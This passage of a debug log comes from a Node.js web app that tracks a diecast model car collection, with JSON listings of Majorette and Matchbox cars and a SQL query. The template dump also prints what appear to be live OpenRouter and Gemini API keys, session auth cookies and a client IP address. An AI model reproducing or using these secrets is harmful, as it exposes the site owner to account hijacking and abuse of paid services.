      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:13:35.497Z server-connect:router Serving templateView /
2026-02-04T07:13:35.497Z server-connect:app Executing action step identify
2026-02-04T07:13:35.497Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:35.497Z server-connect:output identity: 1
2026-02-04T07:13:35.497Z server-connect:app Executing action step restrict
2026-02-04T07:13:35.497Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:35.498Z server-connect:output restrict: undefined
2026-02-04T07:13:35.498Z server-connect:app Executing action step restrict
2026-02-04T07:13:35.498Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:35.498Z server-connect:output restrict: undefined
2026-02-04T07:13:35.498Z server-connect:router Render template layouts/main
2026-02-04T07:13:35.498Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:13:39.015Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:13:39.015Z server-connect:app Executing action step identify
2026-02-04T07:13:39.015Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:39.015Z server-connect:output identity: 1
2026-02-04T07:13:39.015Z server-connect:app Executing action step restrict
2026-02-04T07:13:39.015Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:39.016Z server-connect:output restrict: undefined
2026-02-04T07:13:39.016Z server-connect:app Executing action step paged
2026-02-04T07:13:39.016Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:13:39.019Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
